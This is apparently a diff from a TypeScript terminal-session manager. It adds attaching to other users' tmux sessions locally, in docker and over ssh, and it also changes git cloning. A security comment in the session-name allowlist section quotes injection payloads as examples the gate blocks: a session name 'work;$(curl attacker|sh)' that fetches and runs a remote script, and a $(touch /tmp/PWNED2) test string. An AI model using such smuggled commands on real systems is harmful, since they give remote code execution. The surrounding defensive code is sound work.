+  // tmux's own answer is the last signal worth trying: `#{pane_current_command}`
+  // is the pane's FOREGROUND process, whereas `pane_pid` is the shell hosting it,
+  // so this catches an agent whose process tree was unreadable (no `ps` on the
+  // host) or deeper than the walk's cap.
+  const fromTmux = match(pane.paneCurrentCommand);
+  if (fromTmux) return { mode: fromTmux, command: truncate(pane.paneCurrentCommand) };
+
+  // Nothing recognised. `shell` is the honest answer AND the primary case this
+  // feature exists for; the raw command travels alongside so the UI can show what
+  // is actually running rather than asserting a mode it did not verify.
+  return { mode: 'shell', command: truncate(own || pane.paneCurrentCommand) };
+}
+
+export type ForeignSignatureMatcher = (argv: string) => SessionMode | null;
+
+/**
+ * One scan's answer to "which CLI is this argv?".
+ *
+ * ⚠️ Scoped to a scan, because this is the cost no row cap bounds. A pane's walk reads up
+ * to PROC_WALK_MAX_NODES rows and every pane of a hostile host can claim the same tree, so
+ * the walks repeat one set of rows FOREIGN_MAX_PANES times. Building the regexes once and
+ * asking about each distinct argv once ties the work to the bytes the probe really carried.
+ */
+export function createForeignSignatureMatcher(): ForeignSignatureMatcher {
+  const signatures = foreignCliSignatures();
+  const answers = new Map<string, SessionMode | null>();
+  return (argv) => {
+    let answer = answers.get(argv);
+    if (answer === undefined) {
+      answer = matchSignature(argv, signatures);
+      answers.set(argv, answer);
+    }
+    return answer;
+  };
+}
+
+function matchSignature(argv: string, signatures: ReturnType<typeof foreignCliSignatures>): SessionMode | null {
+  if (!argv) return null;
+  const base = basenameOf(argv);
+  if (SHELL_COMMANDS.has(base)) return null;
+  const launchers = launcherPrefixes(argv);
+  for (const sig of signatures) {
+    if (sig.test.test(argv) || launchers.some((prefix) => sig.launcherDir.test(prefix))) return sig.mode;
+  }
+  return null;
+}
+
+/**
+ * What comes before the last `cli.js` of each word, which is where a CLI's own directory
+ * has to be for that word to be its node launcher.
+ *
+ * ⚠️ A scan rather than a `[^\s]*cli\.js` tail on the signature. That tail was retried from
+ * every `/pi/` in an argv, which is quadratic in someone else's text: 4.6 s of event loop
+ * for a 128 KiB argv. A bounded tail only shrinks the constant, and a scan pays it per row.
+ */
+function launcherPrefixes(argv: string): string[] {
+  const prefixes: string[] = [];
+  for (const word of argv.split(/\s+/)) {
+    const end = word.lastIndexOf('cli.js');
+    if (end > 0) prefixes.push(word.slice(0, end));
+  }
+  return prefixes;
+}
+
+function basenameOf(argv: string): string {
+  const first = argv.trim().split(/\s+/)[0] ?? '';
+  const slash = first.lastIndexOf('/');
+  return slash >= 0 ? first.slice(slash + 1) : first;
+}
+
+function truncate(s: string): string {
+  const flat = s.replace(/\s+/g, ' ').trim();
+  return flat.length > COMMAND_DISPLAY_MAX ? `${flat.slice(0, COMMAND_DISPLAY_MAX - 1)}...` : flat;
+}
+
+// ===========================================================================
+// Exclusion: never adopt what Codeman already owns
+// ===========================================================================
+
+/** tmux servers Codeman runs itself. Sessions on these are never "foreign". */
+const CODEMAN_SOCKET_BASENAMES = new Set(['codeman', 'codeman-remote', 'codeman-docker']);
+
+/** Session names Codeman mints. */
+const CODEMAN_SESSION_PREFIXES = ['codeman-', 'claudeman-'];
+
+/**
+ * Is this pane one of Codeman's own, at any location?
+ *
+ * Excluding them is not cosmetic. Locally it stops Codeman from adopting its own
+ * sessions (which would attach a second PTY to a live pane). On a remote host or
+ * inside a container it stops the SAME session from being reachable through two
+ * different code paths: `remote-hosts.listRemoteCodemanSessions` already owns
+ * the `tmux -L codeman` case there, and two paths to one session is how the two
+ * end up disagreeing about ownership.
+ *
+ * @param ownSocket this instance's own socket name (`resolveTmuxSocketName()`),
+ *                  which is instance-scoped and therefore not a constant.
+ */
+export function isCodemanOwnedPane(
+  pane: Pick<ForeignPaneProbe, 'socketPath' | 'sessionName'>,
+  ownSocket: string
+): boolean {
+  const socketName = basenameOf(pane.socketPath);
+  if (socketName === ownSocket) return true;
+  if (CODEMAN_SOCKET_BASENAMES.has(socketName)) return true;
+  // A `codeman-<instance>` socket belongs to another Codeman instance even when
+  // THIS instance runs on a different one.
+  if (socketName.startsWith('codeman-')) return true;
+  return CODEMAN_SESSION_PREFIXES.some((p) => pane.sessionName.startsWith(p));
+}
+
+// ===========================================================================
+// Adoptability: what may cross the launch chain at all
+// ===========================================================================
+
+/**
+ * Characters a foreign session name or socket path may contain to be adoptable.
+ *
+ * ⚠️ This is a SECURITY GATE, not tidiness, and it is an ALLOWLIST because the
+ * blocklist version of it is one forgotten character away from a shell.
+ *
+ * A foreign session name is chosen by SOMEONE ELSE, and it would cross several
+ * shells on the way to tmux: the local `sh` and `bash -c` at `respawn-pane`, then
+ * `sh -lc` in a container, or the login shell and `sh -c` over ssh. The launch reaches
+ * `bash -c` single-quoted now (`bashCArg()`), which closes the first of those, and the
+ * gate stays as defense in depth for the rest. It was written against the double-quoted
+ * form, `execSync(`… bash -c ${JSON.stringify(launchCmd)}`)`, and that is the shape of
+ * the mistake it stops. `JSON.stringify` escapes `"` and `\` (it does NOT escape `$` or
+ * a backtick) and the outer shell parses that string with those still live inside its
+ * double quotes. The inner single quotes this module adds do not help: the outer shell
+ * substitutes first. Measured directly:
+ *
+ *   launchCmd = `: 'x$(touch /tmp/PWNED2)`touch /tmp/PWNED3`'`
+ *   execSync(`bash -c ${JSON.stringify(launchCmd)}`)  ->  BOTH files created
+ *
+ * So a session called `work;$(curl attacker|sh)` sitting on the default socket
+ * would run as the Codeman server account the moment someone clicked Open. The
+ * name never reaches a command at all now: a candidate that fails this test is
+ * dropped during discovery, so it has no id, and the adopt endpoint re-resolves
+ * through that same discovery and can only 404.
+ *
+ * Generous on purpose about what real names contain (Unicode letters, digits,
+ * marks, spaces, and the punctuation people actually use), because a refusal
+ * here is a session the user cannot open at all.
+ */
+const ADOPTABLE_TEXT = /^[\p{L}\p{N}\p{M} _.+=@#%,~^!/-]+$/u;
+
+/**
+ * Names `new-session -t` reads as target syntax instead of as a name.
+ *
+ * ⚠️ The guard's `has-session -t '=<name>'` looks up by name, the join does not, so
+ * these pass the guard and then join something else. Measured on tmux 3.4: `@1` and
+ * `%1` joined the session holding that window or pane, and input typed in the tab
+ * reached it; `=eq`, `@zz`, `%zz`, `~` and a bare `=` made a new group with a fresh
+ * shell on the foreign server. `~foo` and `! + - ^` joined their own windows, so a
+ * plain first-character rule would refuse them for nothing.
+ */
+const TMUX_TARGET_SYNTAX = /^[=@%]|^~$/;
+
+/** Same rule, plus the path separator and no `..` climbing. */
+export function isAdoptableSocketPath(socketPath: string): boolean {
+  if (!socketPath || socketPath.length > 4096) return false;
+  if (!socketPath.startsWith('/')) return false;
+  if (socketPath.includes('..')) return false;
+  return ADOPTABLE_TEXT.test(socketPath);
+}
+
+/** True when this session name can cross the launch chain safely. */
+export function isAdoptableSessionName(sessionName: string): boolean {
+  if (!sessionName || sessionName.length > 256) return false;
+  if (TMUX_TARGET_SYNTAX.test(sessionName)) return false;
+  return ADOPTABLE_TEXT.test(sessionName);
+}
+
+// ===========================================================================
+// Identity
+// ===========================================================================
+
+/**
+ * Stable, opaque id for a candidate. The browser sends this back to adopt, so it
+ * must survive a re-scan (same session gets the same id) without the browser ever
+ * handing us a socket path or session name to interpolate into a command.
+ */
+export function foreignSessionId(
+  location: ForeignTmuxLocationKind,
+  hostKey: string,
+  socketPath: string,
+  sessionName: string
+): string {
+  return `f${fnv1a(`${location} ${hostKey} ${socketPath} ${sessionName}`)}`;
+}
+
+/**
+ * What names one foreign tmux session across every location Codeman can reach.
+ * A socket path and a session name are not enough on their own: a socket path is
+ * only meaningful INSIDE its location. Containers commonly run tmux as root
+ * (`/tmp/tmux-0/default`) with default names `0`, `1`, so session `0` in two
+ * containers is the same pair, and so is the same name on this machine and on an
+ * ssh host with the same uid.
+ *
+ * A `ForeignTmuxSession` candidate is one of these as it stands. A wrapper's
+ * `SessionAdopt` is turned into one by `adoptTargetIdentity()`.
+ */
+export interface ForeignTargetIdentity {
+  location: ForeignTmuxLocationKind;
+  /** Registry id of the docker or remote host. Absent for local. */
+  hostId?: string;
+  /** The container (`location === 'docker'`), which is only unique per engine, hence beside `hostId`. */
+  containerName?: string;
+  socketPath: string;
+  sessionName: string;
+}
+
+/**
+ * The ONE key that decides "is this foreign session already wrapped?". The adopt
+ * route's one-wrapper-per-target check and the listing's `adoptedBy` both read it;
+ * two keys are how a row ends up offering a tab that belongs to another location.
+ *
+ * Unlike `foreignSessionId` this is not opaque, and it stays on the server: the
+ * opaque id encodes a discovery detail a restored wrapper does not carry, while
+ * everything here is on `SessionAdopt` too.
+ */
+export function foreignTargetKey(target: ForeignTargetIdentity): string {
+  // \u0000 as an ESCAPE: see the note in candidatesFrom() about NUL bytes in source.
+  return [target.location, target.hostId ?? '', target.containerName ?? '', target.socketPath, target.sessionName].join(
+    '\u0000'
+  );
+}
+
+/** A wrapper's adoption record, as the identity of the foreign session it wraps. */
+export function adoptTargetIdentity(adopt: SessionAdopt): ForeignTargetIdentity {
+  return {
+    location: adopt.location,
+    hostId: adopt.docker?.hostId ?? adopt.remote?.hostId,
+    containerName: adopt.docker?.containerName,
+    socketPath: adopt.socketPath,
+    sessionName: adopt.targetSession,
+  };
+}
+
+function fnv1a(input: string): string {
+  let h = 0x811c9dc5;
+  for (let i = 0; i < input.length; i += 1) {
+    h ^= input.charCodeAt(i);
+    h = Math.imul(h, 0x01000193) >>> 0;
+  }
+  return h.toString(16).padStart(8, '0');
+}
+
+/**
+ * Our grouped view session's name on the FOREIGN server. Deliberately prefixed
+ * `codeman-view-` so a human looking at their own `tmux ls` can see what joined
+ * them, and so a second Codeman's discovery excludes it (the `codeman-` prefix
+ * rule above).
+ */
+export function foreignViewSessionName(sessionId: string): string {
+  return `codeman-view-${sessionId.slice(0, 8)}`;
+}
+
+// ===========================================================================
+// Attach command builders
+// ===========================================================================
+
+/** Single-quote for POSIX sh. Local copy so this module stays dependency-free. */
+export function fshq(str: string): string {
+  return `'${String(str).replace(/'/g, `'\\''`)}'`;
+}
+
+export interface ForeignAttachTarget {
+  socketPath: string;
+  targetSession: string;
+  viewSession: string;
+}
+
+/**
+ * The tmux invocation that joins a foreign session, as ONE line of POSIX sh.
+ *
+ * Shape and why:
+ *   command -v tmux || { echo no tmux; exit 127; } ;
+ *   tmux -S <sock> has-session -t '=<target>' || { echo gone; exit 1; } ;
+ *   tmux -S <sock> kill-session -t '=<view>' 2>/dev/null ;
+ *   exec tmux -u -S <sock> new-session -t <target> -s <view> ; set destroy-unattached on ; set status off
+ *
+ * - ⚠️ `command -v` first because the guard below fires on ANY failure, and "tmux is
+ *   not on this PATH" (exit 127, hidden by the `2>/dev/null`) must not be told to the
+ *   user as "your session is gone" while it is running.
+ * - `-u` on the client: in a POSIX locale it otherwise writes the tab as if the
+ *   terminal were ASCII (measured: `_ hello qqq ____` for `❯ hello ─── 你好`). Only
+ *   the join needs it, since the guard prints nothing and tmux compares a target
+ *   name as bytes in any locale.
+ * - ⚠️ The `has-session` guard comes FIRST because `new-session -t` does not fail
+ *   on a missing target, it invents one. Measured on tmux 3.4: with `work` gone it
+ *   joined `work-prod`, with nothing matching it created a fresh shell, and on a
+ *   socket with no server it STARTED one. This line re-runs every time the wrapper
+ *   pane is respawned, and boot recovery does that for every dead pane, so once the
+ *   owner exits their session the next Codeman restart would leave a new shell on
+ *   their machine, in their container or on their ssh host. `=` is what makes the
+ *   check exact (no prefix match), and `2>/dev/null` keeps tmux's own "no server"
+ *   noise out of the pane: the message we print says it better. The check only holds
+ *   for a name `new-session -t` also reads as a name, which is what
+ *   `isAdoptableSessionName` keeps true (see `TMUX_TARGET_SYNTAX`).
+ * - ⚠️ The `=` prefix cannot stand in for that check on `new-session -t`: with the
+ *   target gone tmux takes it as part of the name and creates a group literally
+ *   called `=work`. It has to be a separate `has-session`.
+ * - `new-session -t` creates a session in the target's GROUP: same windows, our
+ *   own session options and current window (NOT our own size, see @fileoverview
+ *   for the measurement that disproved that).
+ * - `status off` is why grouping earns its keep: it lands on OUR session, so the
+ *   owner's status bar is untouched.
+ * - No `-d`: the session must be attached before `destroy-unattached` lands on it.
+ * - The escaped semicolons reach tmux as plain command separators after one shell
+ *   parse, the same convention the docker launch chain uses.
+ * - ⚠️ There is NO degraded fallback, on purpose. A read-only `attach-session -r`
+ *   used to hang off `||` "for a tmux too old to group", but `||` fires on ANY
+ *   `new-session` failure. The one that actually happens is a leftover view with
+ *   the same name (the in-container leak described above): measured, `new-session`
+ *   answers `duplicate session: codeman-view-…` and the fallback then handed the
+ *   user a read-only client showing the owner's status bar, where everything typed
+ *   is dropped while the API reports success. That is the worst shape a failure can
+ *   take here. So: clear OUR OWN stale view first, then either group successfully
+ *   or exit with a message.
+ * - The `kill-session` is safe by construction and cannot touch the human's work:
+ *   the name is `codeman-view-<our own session id>`, `=` makes the match exact, and
+ *   killing a session in a group removes only that session (measured: the owner's
+ *   `work` survived its grouped view being killed). `2>/dev/null` because "no such
+ *   session" is the normal case, not an error.
+ * - ⚠️ Nothing here touches the prefix table, unlike the nested servers Codeman runs
+ *   itself (`nestedPrefixTableResetCommands`). Our own socket already has its table
+ *   reduced by `createSession`, but key tables are SERVER-WIDE, so reducing the foreign
+ *   one would rewrite the owner's keys for every session on their server, and it would
+ *   outlive our detach. Same reason `window-size` is left alone above. The owner's
+ *   bindings stay reachable from a tab, behind our own `send-prefix`, as theirs to use.
+ * - ⚠️ While the view exists the window has two sessions holding it, so an owner's
+ *   `kill-session` on their own session leaves the window alive under the view
+ *   (measured on tmux 3.4: `tmux ls` then shows only `codeman-view-…`, the shell keeps
+ *   running) until the tab closes and `destroy-unattached` lets go of it. Exiting the
+ *   shell inside the pane ends it at once, view and all. Nothing here can tell the two
+ *   apart without a hook on the owner's server, which is not ours to install.
+ * - Single line: nothing here needs a second one. A real newline would survive
+ *   `bash -c` now (`bashCArg()`), though not the JSON escaping this line crossed before.
+ */
+export function buildForeignTmuxInvocation(target: ForeignAttachTarget): string {
+  const sock = fshq(target.socketPath);
+  const t = fshq(target.targetSession);
+  // `=name` is tmux's exact-match form. Only for the two commands that LOOK UP a
+  // session; never for `new-session -t`, which would name the group `=name`.
+  const exact = fshq(`=${target.targetSession}`);
+  const v = fshq(target.viewSession);
+  const gone = fshq(
+    `Codeman: session ${target.targetSession} is gone. Codeman never creates a session it does not own.`
+  );
+  const noTmux = fshq('Codeman: tmux was not found here, so the session could not be opened. It may still be running.');
+  const tmuxCheck = `command -v tmux >/dev/null 2>&1 || { echo ${noTmux}; exit 127; }`;
+  const guard = `tmux -S ${sock} has-session -t ${exact} 2>/dev/null || { echo ${gone}; exit 1; }`;
+  // Our own leftover view from a previous adoption of the same Codeman session.
+  const dropStaleView = `tmux -S ${sock} kill-session -t ${fshq(`=${target.viewSession}`)} 2>/dev/null || true`;
+  const group =
+    `exec tmux -u -S ${sock} new-session -t ${t} -s ${v} \\; ` +
+    `set-option -t ${v} destroy-unattached on \\; ` +
+    `set-option -t ${v} status off`;
+  return `${tmuxCheck} ; ${guard} ; ${dropStaleView} ; ${group}`;
+}
+
+/** Local adoption: run the invocation directly in the wrapper pane. */
+export function buildForeignAttachCommand(target: ForeignAttachTarget): string {
+  return buildForeignTmuxInvocation(target);
+}
+
+export interface ForeignDockerAttachOptions extends ForeignAttachTarget {
+  /** `buildDockerBaseArgs(...)` joined, e.g. `docker` or `docker --context foo`. */
+  dockerBase: string;
+  containerName: string;
+}
+
+/**
+ * Docker adoption: `docker exec -it` into the container and attach there.
+ *
+ * Mirrors the ADOPTED-container branch of `buildDockerLaunchCommand`: look, then
+ * exec. Never `create`, never `start`: the container belongs to the user, and a
+ * missing or stopped one fails closed with a message instead of being mutated.
+ */
+export function buildForeignDockerAttachCommand(opts: ForeignDockerAttachOptions): string {
+  const name = fshq(opts.containerName);
+  const notFound = fshq(
+    `Codeman: container ${opts.containerName} not found. Codeman never creates a container it does not own.`
+  );
+  const notRunning = fshq(
+    `Codeman: container ${opts.containerName} is not running. Codeman never starts a container it does not own.`
+  );
+  const inspect = `${opts.dockerBase} inspect ${name} >/dev/null 2>&1 || { echo ${notFound}; exit 1; }`;
+  const running =
+    `${opts.dockerBase} inspect -f ${fshq('{{.State.Running}}')} ${name} 2>/dev/null | grep -qx true ` +
+    `|| { echo ${notRunning}; exit 1; }`;
+  // The same terminal `resolveDockerLaunchOptions` gives an owned container's exec:
+  // `docker exec -it` defaults to TERM=xterm, which holds the tab to 8 colours.
+  const terminal = '-e TERM=xterm-256color -e COLORTERM=truecolor';
+  const exec = `exec ${opts.dockerBase} exec -it ${terminal} ${name} sh -lc ${fshq(buildForeignTmuxInvocation(opts))}`;
+  return [inspect, running, exec].join(' ; ');
+}
+
+/**
+ * Tear down OUR grouped view session inside a container.
+ *
+ * ⚠️ Needed for docker and NOT for the other two, which is a docker fact rather
+ * than a design choice. Killing the wrapper pane kills a LOCAL tmux client
+ * directly, and over ssh it sends SIGHUP to the remote client (the same
+ * propagation the non-owned remote attach has relied on since COD-105), either
+ * way the client detaches and `destroy-unattached on` collects the view.
+ * A `docker exec` process does NOT die when its client goes away: measured, the
+ * in-container tmux client stayed attached after the wrapper was killed, so the
+ * view session survived forever and every adoption leaked one of them plus its
+ * exec process.
+ *
+ * Killing a session by name affects ONLY that session, never the group's other
+ * members, so this can only ever remove the view Codeman created, never the
+ * human's session it is grouped with. Sibling of `buildDockerKillCommand`, and
+ * fired best-effort on the same path.
+ */
+export function buildForeignDockerViewKillCommand(opts: {
+  dockerBase: string;
+  containerName: string;
+  socketPath: string;
+  viewSession: string;
+}): string {
+  return (
+    `${opts.dockerBase} exec ${fshq(opts.containerName)} ` +
+    `tmux -S ${fshq(opts.socketPath)} kill-session -t ${fshq(`=${opts.viewSession}`)}`
+  );
+}
+
+/**
+ * A POSIX script as the command line of an ssh connection.
+ *
+ * ssh hands its command to the remote user's LOGIN shell, which may be fish: the
+ * guard chain's `{ ...; }` and the probe's `${VAR:-x}` are POSIX, so they run in an
+ * explicit `sh`. The PATH line stays outside it because it is the part written for
+ * whatever that shell is (`withRemoteTmuxPath`), and sshd's non-interactive PATH can
+ * miss a Homebrew or per-user tmux, the same reason every other remote tmux call has
+ * it. Single-quote-free input stays single-quote-free here, and `exec` keeps the
+ * process tree one level shorter.
+ */
+export function foreignRemoteShellCommand(script: string): string {
+  return withRemoteTmuxPath(`exec sh -c ${fshq(script)}`);
+}
+
+export interface ForeignRemoteAttachOptions extends ForeignAttachTarget {
+  /** `buildSshConnectionArgs(host)`: `['ssh', '-o BatchMode=yes', ...]`. */
+  sshArgs: string[];
+  /** `remoteSshTarget(host)`: `user@host`. */
+  sshTarget: string;
+}
+
+/**
+ * Remote adoption: ssh in and attach there.
+ *
+ * `-t` goes right after `ssh -o BatchMode=yes`, exactly where
+ * `buildRemoteAttachCommand` puts it: interactive tmux needs a PTY. Connection
+ * options come from the shared `buildSshConnectionArgs`, never hand-built here,
+ * so adoption reaches a proxied/custom-port host on the same terms discovery did.
+ */
+export function buildForeignRemoteAttachCommand(opts: ForeignRemoteAttachOptions): string {
+  const [ssh, batchMode, ...rest] = opts.sshArgs;
+  return [
+    ssh,
+    batchMode,
+    '-t',
+    ...rest,
+    opts.sshTarget,
+    fshq(foreignRemoteShellCommand(buildForeignTmuxInvocation(opts))),
+  ]
+    .filter(Boolean)
+    .join(' ');
+}

src/git-clone.ts

@@ -50,9 +50,10 @@
 import { spawn, execFileSync } from 'node:child_process';
 import { randomBytes } from 'node:crypto';
 import { existsSync } from 'node:fs';
-import { rename, rm } from 'node:fs/promises';
+import { lstat, readdir, rename, rm } from 'node:fs/promises';
 import { basename, dirname, join } from 'node:path';
 import { EXEC_TIMEOUT_MS } from './config/exec-timeout.js';
+import { probePathKind } from './utils/bounded-path-probe.js';
 
 // ─── Tunables ────────────────────────────────────────────────────────────────
 
@@ -188,8 +189,13 @@ export interface GitFailure {
 export interface CloneOptions {
   /** Pre-validated operand from `parseGitRepositoryUrl`. */
   repository: string;
-  /** Absolute destination directory. Must NOT exist; created by git. */
+  /** Absolute destination directory. Must NOT exist (created by git), unless `intoEmptyDir` is set. */
   destination: string;
+  /**
+   * Clone straight into `destination` when it already exists as an EMPTY directory (the folder a user
+   * picked), instead of refusing it. A folder with anything in it, or a symlink, is still refused.
+   */
+  intoEmptyDir?: boolean;
   /** Optional branch or tag (`--branch <ref> --single-branch`). */
   ref?: string;
   /** `--depth 1`: history-less but much faster on large repos. */
@@ -590,6 +596,11 @@ export function classifyGitFailure(stderr: string, timedOut: boolean, spawnError
       stderr: clean,
     };
   }
+  // First: git's refusal quotes the destination path, so a folder named openssl, rustls or "not found" would
+  // otherwise match the host and repository patterns below, and a wrong code here decides a deletion.
+  if (/already exists and is not an empty directory|destination path .* already exists/.test(lower)) {
+    return { code: 'DESTINATION_EXISTS', message: 'The destination directory already exists.', stderr: clean };
+  }
   if (timedOut) {
     return {
       code: 'TIMEOUT',
@@ -625,12 +636,13 @@ export function classifyGitFailure(stderr: string, timedOut: boolean, spawnError
       stderr: clean,
     };
   }
-  if (/could not resolve host|connection refused|connection timed out|network is unreachable|ssl|tls/.test(lower)) {
+  if (
+    /could not resolve host|connection refused|connection timed out|network is unreachable|\bssl(?:\b|_)|\btls\b|certificate|handshake/.test(
+      lower
+    )
+  ) {
     return { code: 'HOST_UNREACHABLE', message: 'Could not reach that host from this machine.', stderr: clean };
   }
-  if (/already exists and is not an empty directory|destination path .* already exists/.test(lower)) {
-    return { code: 'DESTINATION_EXISTS', message: 'The destination directory already exists.', stderr: clean };
-  }
   return { code: 'FAILED', message: clean ? `git failed: ${firstLine(clean)}` : 'git failed.', stderr: clean };
 }
 
@@ -701,6 +713,8 @@ interface GitRun {
   stderr: string;
   code: number | null;
   timedOut: boolean;
+  /** False when git never ran (queue full, slot wait timed out, spawn failed): nothing was written. */
+  started: boolean;
   spawnError?: string;
 }
 
@@ -720,10 +734,17 @@ async function runGit(args: string[], timeoutMs: number, maxStdoutBytes: number)
   const queuedAt = Date.now();
   const slot = await acquireGitSlot(timeoutMs);
   if (slot === 'queue-full') {
-    return { stdout: '', stderr: '', code: null, timedOut: false, spawnError: 'EBUSY: git operation queue is full' };
+    return {
+      stdout: '',
+      stderr: '',
+      code: null,
+      timedOut: false,
+      spawnError: 'EBUSY: git operation queue is full',
+      started: false,
+    };
   }
   if (slot === 'timed-out') {
-    return { stdout: '', stderr: '', code: null, timedOut: true };
+    return { stdout: '', stderr: '', code: null, timedOut: true, started: false };
   }
   const remainingMs = Math.max(1, timeoutMs - (Date.now() - queuedAt));
   try {
@@ -736,7 +757,7 @@ async function runGit(args: string[], timeoutMs: number, maxStdoutBytes: number)
           detached: true,
         });
       } catch (err) {
-        resolve({ stdout: '', stderr: '', code: null, timedOut: false, spawnError: String(err) });
+        resolve({ stdout: '', stderr: '', code: null, timedOut: false, started: false, spawnError: String(err) });
         return;
       }
 
@@ -783,8 +804,10 @@ async function runGit(args: string[], timeoutMs: number, maxStdoutBytes: number)
         resolve(result);
       };
 
-      child.on('error', (err) => finish({ stdout, stderr, code: null, timedOut, spawnError: String(err) }));
-      child.on('close', (code) => finish({ stdout, stderr, code, timedOut }));
+      child.on('error', (err) =>
+        finish({ stdout, stderr, code: null, timedOut, started: false, spawnError: String(err) })
+      );
+      child.on('close', (code) => finish({ stdout, stderr, code, timedOut, started: true }));
     });
   } finally {
     releaseGitSlot();
@@ -847,6 +870,35 @@ export async function probeGitRemote(
   };
 }
 
+/** Destinations with a direct (`intoEmptyDir`) clone in flight. */
+const directClones = new Set<string>();
+
+function destinationExists(): CloneResult {
+  return {
+    ok: false,
+    failure: { code: 'DESTINATION_EXISTS', message: 'The destination directory already exists.', stderr: '' },
+  };
+}
+
+/** True for a real (not symlinked) directory with nothing in it. Any read error counts as not empty. */
+async function isEmptyDirectory(path: string): Promise<boolean> {
+  try {
+    const st = await lstat(path);
+    return st.isDirectory() && (await readdir(path)).length === 0;
+  } catch {
+    return false;
+  }
+}
+
+/** Remove everything inside `path`, keeping `path` itself. Best effort. */
+async function emptyDirectory(path: string): Promise<void> {
+  try {
+    for (const entry of await readdir(path)) await rm(join(path, entry), { recursive: true, force: true });
+  } catch {
+    /* nothing to clean, or it vanished */
+  }
+}
+
 /**
  * Clone `repository` into `destination`.
  *
@@ -872,10 +924,33 @@ export async function cloneRepository(opts: CloneOptions): Promise<CloneResult>
     };
   }
   if (existsSync(opts.destination)) {
-    return {
-      ok: false,
-      failure: { code: 'DESTINATION_EXISTS', message: 'The destination directory already exists.', stderr: '' },
-    };
+    // One direct clone per folder at a time: once two gits have written into the same folder their
+    // files cannot be told apart, so the second caller is refused before it spawns anything. Taken
+    // before the emptiness check (which can precede a long wait for a git slot).
+    if (!opts.intoEmptyDir || directClones.has(opts.destination)) return destinationExists();
+    directClones.add(opts.destination);
+    try {
+      if (!(await isEmptyDirectory(opts.destination))) return destinationExists();
+      // The folder is the user's own, so there is no temporary sibling to rename into place: git fills it.
+      const direct = await runGit(buildCloneArgs(opts), opts.timeoutMs ?? GIT_CLONE_TIMEOUT_MS, MAX_STDERR_BYTES);
+      if (direct.code === 0 && !direct.spawnError) return { ok: true, stderr: sanitizeGitOutput(direct.stderr) };
+      const failure = classifyGitFailure(direct.stderr, direct.timedOut, direct.spawnError);
+      // The folder was empty when this attempt took it, so what is in it is this attempt's partial tree, but
+      // only if git actually ran: a refused folder, a full queue or a slot wait that timed out wrote nothing,
+      // and anything in the folder by then (files the user copied in, another case created there) is not ours.
+      // A mount that stopped answering is left alone too, so a libuv worker is not held on it.
+      // git's own refusal is tested on its text, not on the classifier's code, so the deletion never depends on
+      // which pattern matched first.
+      const refused = /already exists and is not an empty directory/i.test(direct.stderr);
+      if (direct.started && !refused && failure.code !== 'DESTINATION_EXISTS') {
+        if ((await probePathKind(opts.destination, { pastCap: true })) === 'directory') {
+          await emptyDirectory(opts.destination);
+        }
+      }
+      return { ok: false, failure };
+    } finally {
+      directClones.delete(opts.destination);
+    }
   }
 
   // Sibling of the destination (same filesystem), so the rename is atomic.

src/git-fetch-scheduler.ts

@@ -79,6 +79,8 @@ export interface GitFetchSessionView {
   /** `unknown`, not `boolean`: a session's remote/Docker markers are objects, and the only question here is whether either is set at all. */
   remote?: unknown;
   docker?: unknown;
+  /** Set on a wrapper around a foreign tmux session: its `workingDir` is a neutral folder, never a repository. */
+  adopt?: unknown;
   gitFetchEnabled?: boolean;
   gitFetchIntervalSeconds?: number;
 }
@@ -176,7 +178,7 @@ export class GitFetchScheduler {
       const groups = new Map<string, GroupMember[]>();
       for (const id of this.ports.sessionIds()) {
         const view = this.ports.getSession(id);
-        if (!view || view.remote || view.docker) continue;
+        if (!view || view.remote || view.docker || view.adopt) continue;
         const effective = effectiveGitFetch(view, settings);
         if (!effective.enabled) continue;
         const folder = resolve(view.workingDir);

src/git-fetch.ts

@@ -346,7 +346,7 @@ export interface GitFetchEntry {
 export interface GitFetchReport {
   /** `ok` when at least one repository was fetched (or attempted); the other states are as in the overview. */
   state: 'ok' | 'not-a-repo' | 'unsupported' | 'error';
-  reason?: 'remote' | 'docker';
+  reason?: 'remote' | 'docker' | 'adopted';
   error?: string;
   /** One entry per repository fetched, in the same order the panel lists them. */
   repos: GitFetchEntry[];

src/git-workspace-status.ts

@@ -95,7 +95,7 @@ export interface GitWorkspaceStatus {
    * `unsupported`: a remote or Docker session (never inspected). `error`: git failed; see `error`.
    */
   state: 'ok' | 'not-a-repo' | 'unsupported' | 'error';
-  reason?: 'remote' | 'docker';
+  reason?: 'remote' | 'docker' | 'adopted';
   error?: string;
   repoRoot?: string;
   /** Null when HEAD is detached. */
@@ -482,7 +482,7 @@ export interface GitRepoEntry {
 export interface GitWorkspaceOverview {
   /** `ok` when at least one repository was found; the other states are as in `GitWorkspaceStatus`. */
   state: 'ok' | 'not-a-repo' | 'unsupported' | 'error';
-  reason?: 'remote' | 'docker';
+  reason?: 'remote' | 'docker' | 'adopted';
   error?: string;
   repos: GitRepoEntry[];
   /** More than `repoLimit` repositories were found; only the first are reported. */

src/hooks-config.ts

@@ -1433,7 +1433,8 @@ export async function installAgentSkillInto(skillDir: string): Promise<AgentSkil
  * the skill (`agentSkillDir()` non-null, any CLI: the preamble is bash + curl + jq, nothing
  * claude-specific; a remote or in-container HOME is not this filesystem) and treat it as
  * best-effort: the skill's §0 fallback block self-heals a missing or stale file. Codex
- * caveat: codex 0.162 runs tool commands in a shared app-server daemon whose
+ * caveat: a local codex started without `--no-daemon` (older than 0.162, or its version
+ * probe failed) can run tool commands in a shared app-server daemon whose
  * `CODEMAN_SESSION_ID` is the starting session's, so its loader looks for that session's
  * file and its self id is wrong; the skill tells the agent how to notice.
  */

src/image-watcher.ts

@@ -14,7 +14,7 @@ import { basename, extname, relative } from 'node:path';
 import { statSync } from 'node:fs';
 import type { AttachmentDetectedEvent, AttachmentDetectedType, ImageDetectedEvent } from './types.js';
 import { KeyedDebouncer } from './utils/index.js';
-import { UPLOAD_DIR_NAMES } from './web/paste-image-gc.js';
+import { DISCORD_RECEIVED_DIR, UPLOAD_DIR_NAMES } from './web/paste-image-gc.js';
 
 // ========== Types ==========
 
@@ -159,14 +159,14 @@ export class ImageWatcher extends EventEmitter {
         // Ignore common heavy directories for performance
         ignored: (path: string) => {
           // Skip node_modules, .git, and other heavy directories, and Codeman's
-          // own upload folders: a pdf the user handed to the agent is not a file
-          // the agent produced.
+          // own upload folders: a pdf the user handed to the agent, by upload or
+          // from Discord, is not a file the agent produced.
           if (
             path.includes('/node_modules/') ||
             path.includes('/.git/') ||
             path.includes('/dist/') ||
             path.includes('/.next/') ||
-            UPLOAD_DIR_NAMES.some((name) => path.includes(`/${name}/`))
